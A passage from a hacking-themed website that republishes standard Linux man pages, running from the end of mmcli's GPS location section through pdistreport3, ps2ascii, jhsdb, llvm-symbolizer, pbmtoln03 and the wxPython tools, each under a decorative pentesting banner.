$ sudo mmcli -m 0 –location-get ————————- 3GPP location | Mobile country code: 214 | Mobile network code: 3 | Location area code: 21071 | Cell ID: 7033737 ————————- GPS NMEA traces | $GPGGA,,,,,,0,,,,,,,,*66 | $GPRMC,,V,,,,,,,,,,N*53 | $GPGSA,A,1,,,,,,,,,,,,,,,*1E | $GPGSV,4,1,16,24,,,,29,,,,05,,,,18,,,*7A | $GPGSV,4,2,16,22,,,,14,,,,11,,,,17,,,*7B | $GPGSV,4,3,16,03,,,,12,,,,30,,,,13,,,*78 | $GPGSV,4,4,16,23,,,,15,,,,27,,,,07,,,*79 | $GPVTG,,T,,M,,N,,K,N*2C

A-GPS support

If A-GPS is enabled before starting the GPS engine, and if a data connection is available in the modem, the configured SUPL servers may be used to obtain a faster initial position fix.

Note that the GPS engine will not be started when just A-GPS capability is enabled. An explicit output (RAW or NMEA) is required to be enabled in order to start the GPS engine.

$ mmcli -m 0 –location-status ——————————– Location | capabilities: 3gpp-lac-ci, gps-raw, gps-nmea, agps-msa, agps-msb | enabled: 3gpp-lac-ci | signals: no —————————– GPS | refresh rate: 30 seconds | a-gps supl server: supl.google.com:7276

$ sudo mmcli -m 0 –location-enable-agps-msa successfully setup location gathering

$ sudo mmcli -m 0 –location-enable-gps-nmea successfully setup location gathering

$ sudo mmcli -m 0 –location-enable-gps-raw successfully setup location gathering

Injecting assistance data

If the modem device does not have an ongoing connection (e.g. no mobile network coverage) but the system has other means to access the Internet (e.g. WiFi), the user may be able to download location assistance data and inject it in the module.

E.g. If the device supports XTRA assistance data, the user may download it from one of the servers listed by ModemManager and manually inject it afterwards. The XTRA assistance data is usually valid for several days.

$ mmcli -m 0 –location-status ——————————– Location | capabilities: 3gpp-lac-ci, gps-raw, gps-nmea, agps-msa, agps-msb | enabled: 3gpp-lac-ci | signals: no ——————————– GPS | refresh rate: 30 seconds | a-gps supl server: supl.google.com:7276 | supported assistance: xtra | assistance servers: https://xtrapath3.izatcloud.net/xtra3grcej.bin | https://xtrapath1.izatcloud.net/xtra3grcej.bin | https://xtrapath2.izatcloud.net/xtra3grcej.bin

$ wget -q https://xtrapath3.izatcloud.net/xtra3grcej.bin

$ sudo mmcli -m 0 –location-inject-assistance-data=./xtra3grcej.bin successfully injected assistance data

$ sudo mmcli -m 0 –location-enable-gps-nmea successfully setup location gathering

$ sudo mmcli -m 0 –location-enable-gps-raw successfully setup location gathering

Key-Value output

Writing shell scripts that use mmcli to perform operations with the modem is easy when using the –output-keyvalue option. For example, you could gather all the main status information of the modem with a single call and then parse it to read single fields:

$ STATUS=$(mmcli -m 0 –output-keyvalue) $ echo “${STATUS}” | grep “modem.generic.state " | awk -F “: " ‘{ print $2 }’ failed $ echo “${STATUS}” | grep “modem.generic.state-failed-reason " | awk -F “: " ‘{ print $2 }’ sim-missing

AUTHORS

Written by Martyn Russell <[email protected]> and Aleksander Morgado <[email protected]>

SEE ALSO

ModemManager(8), NetworkManager(8)

AT (http://en.wikipedia.org/wiki/AT_commands).

3GPP (http://en.wikipedia.org/wiki/3GPP).

MCCMNC (http://en.wikipedia.org/wiki/Mobile_Network_Code).

USSD (http://en.wikipedia.org/wiki/Unstructured_Supplementary_Service_Data).

CDMA (http://en.wikipedia.org/wiki/Code_division_multiple_access).

OTA (http://en.wikipedia.org/wiki/Over-the-air_programming).

GPS (http://en.wikipedia.org/wiki/Global_Positioning_System)

NMEA (http://en.wikipedia.org/wiki/NMEA_0183)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

705 - Linux cli command pdistreport3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdistreport3 and provides detailed information about the command pdistreport3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdistreport3.

NAME 🖥️ pdistreport3 🖥️

Python 3 Pyramid command

DESCRIPTION

usage: pdistreport3 [-h]

Show Python distribution versions and locations in use

options:

-h, –help
show this help message and exit

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

706 - Linux cli command ps2ascii

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2ascii and provides detailed information about the command ps2ascii, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2ascii.

NAME 🖥️ ps2ascii 🖥️

Ghostscript translator from PostScript or PDF to ASCII

SYNOPSIS

ps2ascii [ input.ps [ output.txt ] ]
ps2ascii input.pdf [ output.txt ]

DESCRIPTION

ps2ascii uses gs(1) to extract ASCII text from PostScript(tm) or Adobe Portable Document Format (PDF) files. If no files are specified on the command line, gs reads from standard input; but PDF input must come from an explicitly-named file, not standard input. If no output file is specified, the ASCII text is written to standard output.

ps2ascii doesn’t look at font encoding, and isn’t very good at dealing with kerning, so for PostScript (but not currently PDF), you might consider pstotext (see below).

FILES

Run “gs -h” to find the location of Ghostscript documentation on your system, from which you can get more details.

SEE ALSO

pstotext(1), http://www.research.digital.com/SRC/virtualpaper/pstotext.html

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. David M. Jones <[email protected]> made substantial improvements to ps2ascii.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

707 - Linux cli command jhsdb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jhsdb and provides detailed information about the command jhsdb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jhsdb.

NAME 🖥️ jhsdb 🖥️

attach to a Java process or launch a postmortem debugger to analyze the content of a core dump from a crashed Java Virtual Machine (JVM)

SYNOPSIS

jhsdb clhsdb [--pid pid | --exe executable --core coredump]

jhsdb hsdb [--pid pid | --exe executable --core coredump]

jhsdb debugd (--pid pid | --exe executable --core coredump) [options]

jhsdb jstack (--pid pid | --exe executable --core coredump | --connect [server-id@]debugd-host) [options]

jhsdb jmap (--pid pid | --exe executable --core coredump | --connect [server-id@]debugd-host) [options]

jhsdb jinfo (--pid pid | --exe executable --core coredump | --connect [server-id@]debugd-host) [options]

jhsdb jsnap (--pid pid | --exe executable --core coredump | --connect [server-id@]debugd-host) [options]

pid
The process ID to which the jhsdb tool should attach. The process must be a Java process. To get a list of Java processes running on a machine, use the ps command or, if the JVM processes are not running in a separate docker instance, the jps command.

executable
The Java executable file from which the core dump was produced.

coredump
The core file to which the jhsdb tool should attach.

[server-id@]debugd-host
An optional server ID and the address of the remote debug server (debugd).

options
The command-line options for a jhsdb mode. See Options for the debugd Mode, Options for the jstack Mode, Options for the jmap Mode, Options for the jinfo Mode, and Options for the jsnap Mode.

Note:

Either the pid or the pair of executable and core files or the [server-id@]debugd-host must be provided for debugd, jstack, jmap, jinfo and jsnap modes.

DESCRIPTION

You can use the jhsdb tool to attach to a Java process or to launch a postmortem debugger to analyze the content of a core-dump from a crashed Java Virtual Machine (JVM). This command is experimental and unsupported.

Note:

Attaching the jhsdb tool to a live process will cause the process to hang and the process will probably crash when the debugger detaches.

The jhsdb tool can be launched in any one of the following modes:

jhsdb clhsdb
Starts the interactive command-line debugger.

jhsdb hsdb
Starts the interactive GUI debugger.

jhsdb debugd
Starts the remote debug server.

jhsdb jstack
Prints stack and locks information.

jhsdb jmap
Prints heap information.

jhsdb jinfo
Prints basic JVM information.

jhsdb jsnap
Prints performance counter information.

jhsdb command --help
Displays the options available for the command.

OPTIONS FOR THE DEBUGD MODE

--serverid server-id
An optional unique ID for this debug server. This is required if multiple debug servers are run on the same machine.

--rmiport port
Sets the port number to which the RMI connector is bound. If not specified a random available port is used.

--registryport port
Sets the RMI registry port. This option overrides the system property ‘sun.jvm.hotspot.rmi.port’. If not specified, the system property is used. If the system property is not set, the default port 1099 is used.

--hostname hostname
Sets the hostname the RMI connector is bound. The value could be a hostname or an IPv4/IPv6 address. This option overrides the system property ‘java.rmi.server.hostname’. If not specified, the system property is used. If the system property is not set, a system hostname is used.

OPTIONS FOR THE JINFO MODE

--flags
Prints the VM flags.

--sysprops
Prints the Java system properties.

no option
Prints the VM flags and the Java system properties.

OPTIONS FOR THE JMAP MODE

no option
Prints the same information as Solaris pmap.

--heap
Prints the java heap summary.

--binaryheap
Dumps the java heap in hprof binary format.

--dumpfile name
The name of the dumpfile.

--histo
Prints the histogram of java object heap.

--clstats
Prints the class loader statistics.

--finalizerinfo
Prints the information on objects awaiting finalization.

OPTIONS FOR THE JSTACK MODE

--locks
Prints the java.util.concurrent locks information.

--mixed
Attempts to print both java and native frames if the platform allows it.

OPTIONS FOR THE JSNAP MODE

--all
Prints all performance counters.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

708 - Linux cli command llvm-symbolizer-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-symbolizer-16 and provides detailed information about the command llvm-symbolizer-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-symbolizer-16.

NAME 🖥️ llvm-symbolizer-16 🖥️

symbolizer - convert addresses into source code locations

SYNOPSIS

llvm-symbolizer [options] [addresses…]

DESCRIPTION

llvm-symbolizer reads input names and addresses from the command-line and prints corresponding source code locations to standard output. It can also symbolize logs containing Symbolizer Markup via –filter-markup.

If no address is specified on the command-line, it reads the addresses from standard input. If no input name is specified on the command-line, but addresses are, or if at any time an input value is not recognized, the input is simply echoed to the output.

Input names can be specified together with the addresses either on standard input or as positional arguments on the command-line. By default, input names are interpreted as object file paths. However, prefixing a name with BUILDID: states that it is a hex build ID rather than a path. This will look up the corresponding debug binary. For consistency, prefixing a name with FILE: explicitly states that it is an object file path (the default).

A positional argument or standard input value can be preceded by “DATA” or “CODE” to indicate that the address should be symbolized as data or executable code respectively. If neither is specified, “CODE” is assumed. DATA is symbolized as address and symbol size rather than line number.

llvm-symbolizer parses options from the environment variable LLVM_SYMBOLIZER_OPTS after parsing options from the command line. LLVM_SYMBOLIZER_OPTS is primarily useful for supplementing the command-line options when llvm-symbolizer is invoked by another program or runtime.

EXAMPLES

All of the following examples use the following two source files as input. They use a mixture of C-style and C++-style linkage to illustrate how these names are printed differently (see –demangle).

// test.h extern “C” inline int foz() { return 1234; }

// test.cpp #include “test.h” int bar=42;

int foo() {
  return bar;
}

int baz() {
  volatile int k = 42;
  return foz() + k;
}

int main() {
  return foo() + baz();
}

These files are built as follows:

$ clang -g test.cpp -o test.elf $ clang -g -O2 test.cpp -o inlined.elf

Example 1 - addresses and object on command-line:

$ llvm-symbolizer –obj=test.elf 0x4004d0 0x400490 foz /tmp/test.h:1:0

baz()
/tmp/test.cpp:11:0

Example 2 - addresses on standard input:

$ cat addr.txt 0x4004a0 0x400490 0x4004d0 $ llvm-symbolizer –obj=test.elf < addr.txt main /tmp/test.cpp:15:0

baz()
/tmp/test.cpp:11:0

foz
/tmp/./test.h:1:0

Example 3 - object specified with address:

$ llvm-symbolizer “test.elf 0x400490” “FILE:inlined.elf 0x400480” baz() /tmp/test.cpp:11:0

foo()
/tmp/test.cpp:8:10

$ cat addr2.txt
FILE:test.elf 0x4004a0
inlined.elf 0x400480

$ llvm-symbolizer < addr2.txt
main
/tmp/test.cpp:15:0

foo()
/tmp/test.cpp:8:10

Example 4 - BUILDID and FILE prefixes:

$ llvm-symbolizer “FILE:test.elf 0x400490” “DATA BUILDID:123456789abcdef 0x601028” baz() /tmp/test.cpp:11:0

bar
6295592 4

$ cat addr3.txt
FILE:test.elf 0x400490
DATA BUILDID:123456789abcdef 0x601028

$ llvm-symbolizer < addr3.txt
baz()
/tmp/test.cpp:11:0

bar
6295592 4

Example 5 - CODE and DATA prefixes:

$ llvm-symbolizer –obj=test.elf “CODE 0x400490” “DATA 0x601028” baz() /tmp/test.cpp:11:0

bar
6295592 4

$ cat addr4.txt
CODE test.elf 0x4004a0
DATA inlined.elf 0x601028

$ llvm-symbolizer < addr4.txt
main
/tmp/test.cpp:15:0

bar
6295592 4

Example 6 - path-style options:

This example uses the same source file as above, but the source file’s full path is /tmp/foo/test.cpp and is compiled as follows. The first case shows the default absolute path, the second –basenames, and the third shows –relativenames.

$ pwd /tmp $ clang -g foo/test.cpp -o test.elf $ llvm-symbolizer –obj=test.elf 0x4004a0 main /tmp/foo/test.cpp:15:0 $ llvm-symbolizer –obj=test.elf 0x4004a0 –basenames main test.cpp:15:0 $ llvm-symbolizer –obj=test.elf 0x4004a0 –relativenames main foo/test.cpp:15:0

OPTIONS

–adjust-vma <offset>
Add the specified offset to object file addresses when performing lookups. This can be used to perform lookups as if the object were relocated by the offset.

–basenames, -s
Print just the file’s name without any directories, instead of the absolute path.

–build-id
Look up the object using the given build ID, specified as a hexadecimal string. Mutually exclusive with –obj.

–color [=<always|auto|never>]
Specify whether to use color in –filter-markup mode. Defaults to auto, which detects whether standard output supports color. Specifying –color alone is equivalent to –color=always.

–debug-file-directory <path>
Provide a path to a directory with a .build-id subdirectory to search for debug information for stripped binaries. Multiple instances of this argument are searched in the order given.

–debuginfod, –no-debuginfod
Whether or not to try debuginfod lookups for debug binaries. Unless specified, debuginfod is only enabled if libcurl was compiled in (LLVM_ENABLE_CURL) and at least one server URL was provided by the environment variable DEBUGINFOD_URLS.

–demangle, -C
Print demangled function names, if the names are mangled (e.g. the mangled name _Z3bazv becomes baz(), whilst the non-mangled name foz is printed as is). Defaults to true.

–dwp <path>
Use the specified DWP file at <path> for any CUs that have split DWARF debug data.

–fallback-debug-path <path>
When a separate file contains debug data, and is referenced by a GNU debug link section, use the specified path as a basis for locating the debug data if it cannot be found relative to the object.

–filter-markup
Reads from standard input, converts contained Symbolizer Markup into human-readable form, and prints the results to standard output. The following markup elements are not yet supported:

  • {{{hexdict}}}

  • {{{dumpfile}}}

The {{{bt}}} backtrace element reports frames using the following syntax:

#<number>[.<inline>] <address> <function> <file>:<line>:<col> (<module>+<relative address>)

<inline> provides frame numbers for calls inlined into the caller coresponding to <number>. The inlined call numbers start at 1 and increase from callee to caller.

<address> is an address inside the call instruction to the function. The address may not be the start of the instruction. <relative address> is the corresponding virtual offset in the <module> loaded at that address.

–functions [=<none|short|linkage>], -f
Specify the way function names are printed (omit function name, print short function name, or print full linkage name, respectively). Defaults to linkage.

–help, -h
Show help and usage for this command.

–inlining, –inlines, -i
If a source code location is in an inlined function, prints all the inlined frames. This is the default.

–no-inlines
Don’t print inlined frames.

–no-demangle
Don’t print demangled function names.

–obj <path>, –exe, -e
Path to object file to be symbolized. If - is specified, read the object directly from the standard input stream. Mutually exclusive with –build-id.

–output-style <LLVM|GNU|JSON>
Specify the preferred output style. Defaults to LLVM. When the output style is set to GNU, the tool follows the style of GNU’s addr2line. The differences from the LLVM style are:

  • Does not print the column of a source code location.

  • Does not add an empty line after the report for an address.

  • Does not replace the name of an inlined function with the name of the topmost caller when inlined frames are not shown.

  • Prints an address’s debug-data discriminator when it is non-zero. One way to produce discriminators is to compile with clang’s -fdebug-info-for-profiling.

JSON style provides a machine readable output in JSON. If addresses are
supplied via stdin, the output JSON will be a series of individual objects. Otherwise, all results will be contained in a single array.

$ llvm-symbolizer –obj=inlined.elf 0x4004be 0x400486 -p baz() at /tmp/test.cpp:11:18 (inlined by) main at /tmp/test.cpp:15:0

foo() at /tmp/test.cpp:6:3

$ llvm-symbolizer --output-style=LLVM --obj=inlined.elf 0x4004be 0x400486 -p --no-inlines
main at /tmp/test.cpp:11:18

foo() at /tmp/test.cpp:6:3

$ llvm-symbolizer --output-style=GNU --obj=inlined.elf 0x4004be 0x400486 -p --no-inlines
baz() at /tmp/test.cpp:11
foo() at /tmp/test.cpp:6

$ clang -g -fdebug-info-for-profiling test.cpp -o profiling.elf
$ llvm-symbolizer --output-style=GNU --obj=profiling.elf 0x401167 -p --no-inlines
main at /tmp/test.cpp:15 (discriminator 2)

$ llvm-symbolizer --output-style=JSON --obj=inlined.elf 0x4004be 0x400486 -p
[
  {
    "Address": "0x4004be",
    "ModuleName": "inlined.elf",
    "Symbol": [
      {
        "Column": 18,
        "Discriminator": 0,
        "FileName": "/tmp/test.cpp",
        "FunctionName": "baz()",
        "Line": 11,
        "StartAddress": "0x4004be",
        "StartFileName": "/tmp/test.cpp",
        "StartLine": 9
      },
      {
        "Column": 0,
        "Discriminator": 0,
        "FileName": "/tmp/test.cpp",
        "FunctionName": "main",
        "Line": 15,
        "StartAddress": "0x4004be",
        "StartFileName": "/tmp/test.cpp",
        "StartLine": 14
      }
    ]
  },
  {
    "Address": "0x400486",
    "ModuleName": "inlined.elf",
    "Symbol": [
      {
        "Column": 3,
        "Discriminator": 0,
        "FileName": "/tmp/test.cpp",
        "FunctionName": "foo()",
        "Line": 6,
        "StartAddress": "0x400486",
        "StartFileName": "/tmp/test.cpp",
        "StartLine": 5
      }
    ]
  }
]

–pretty-print, -p
Print human readable output. If –inlining is specified, the enclosing scope is prefixed by (inlined by). For JSON output, the option will cause JSON to be indented and split over new lines. Otherwise, the JSON output will be printed in a compact form.

$ llvm-symbolizer –obj=inlined.elf 0x4004be –inlining –pretty-print baz() at /tmp/test.cpp:11:18 (inlined by) main at /tmp/test.cpp:15:0

–print-address, –addresses, -a
Print address before the source code location. Defaults to false.

$ llvm-symbolizer –obj=inlined.elf –print-address 0x4004be 0x4004be baz() /tmp/test.cpp:11:18 main /tmp/test.cpp:15:0

$ llvm-symbolizer --obj=inlined.elf 0x4004be --pretty-print --print-address
0x4004be: baz() at /tmp/test.cpp:11:18
 (inlined by) main at /tmp/test.cpp:15:0

–print-source-context-lines <N>
Print N lines of source context for each symbolized address.

$ llvm-symbolizer –obj=test.elf 0x400490 –print-source-context-lines=3 baz() /tmp/test.cpp:11:0 10 : volatile int k = 42; 11 >: return foz() + k; 12 : }

–relativenames
Print the file’s path relative to the compilation directory, instead of the absolute path. If the command-line to the compiler included the full path, this will be the same as the default.

–verbose
Print verbose address, line and column information.

$ llvm-symbolizer –obj=inlined.elf –verbose 0x4004be baz() Filename: /tmp/test.cpp Function start filename: /tmp/test.cpp Function start line: 9 Function start address: 0x4004b6 Line: 11 Column: 18 main Filename: /tmp/test.cpp Function start filename: /tmp/test.cpp Function start line: 14 Function start address: 0x4004b0 Line: 15 Column: 18

–version, -v
Print version information for the tool.

@<FILE>
Read command-line options from response file <FILE>.

WINDOWS/PDB SPECIFIC OPTIONS

–dia
Use the Windows DIA SDK for symbolization. If the DIA SDK is not found, llvm-symbolizer will fall back to the native implementation.

MACH-O SPECIFIC OPTIONS

–default-arch <arch>
If a binary contains object files for multiple architectures (e.g. it is a Mach-O universal binary), symbolize the object file for a given architecture. You can also specify the architecture by writing binary_name:arch_name in the input (see example below). If the architecture is not specified in either way, the address will not be symbolized. Defaults to empty string.

$ cat addr.txt /tmp/mach_universal_binary:i386 0x1f84 /tmp/mach_universal_binary:x86_64 0x100000f24

$ llvm-symbolizer < addr.txt
_main
/tmp/source_i386.cc:8

_main
/tmp/source_x86_64.cc:8

–dsym-hint <path/to/file.dSYM>
If the debug info for a binary isn’t present in the default location, look for the debug info at the .dSYM path provided via this option. This flag can be used multiple times.

EXIT STATUS

llvm-symbolizer returns 0. Other exit codes imply an internal program error.

SEE ALSO

llvm-addr2line(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

709 - Linux cli command pbmtoln03

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoln03 and provides detailed information about the command pbmtoln03, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoln03.

.

NAME 🖥️ pbmtoln03 🖥️

convert PBM image to DEC LN03+ Sixel output

SYNOPSIS

pbmtoln03 [-rltbf] pbmfile

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoln03 reads a PBM image as input and produces a DEC LN03+ Sixel output file.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtoln03 recognizes the following command line options:

-l nn
Use “nn” as value for left margin (default 0).

-r nn
Use “nn” as value for right margin (default 2400).

-t nn
Use “nn” as value for top margin (default 0).

-b nn
Use “nn” as value for bottom margin (default 3400).

-f nn
Use “nn” as value for form length (default 3400).

SEE ALSO

pbm(1)

AUTHOR

Tim Cook, 26 Feb 1992

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoln03.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

710 - Linux cli command wxget

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wxget and provides detailed information about the command wxget, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wxget.

NAME 🖥️ wxget 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

711 - Linux cli command img2xpm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command img2xpm and provides detailed information about the command img2xpm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the img2xpm.

NAME 🖥️ img2xpm 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

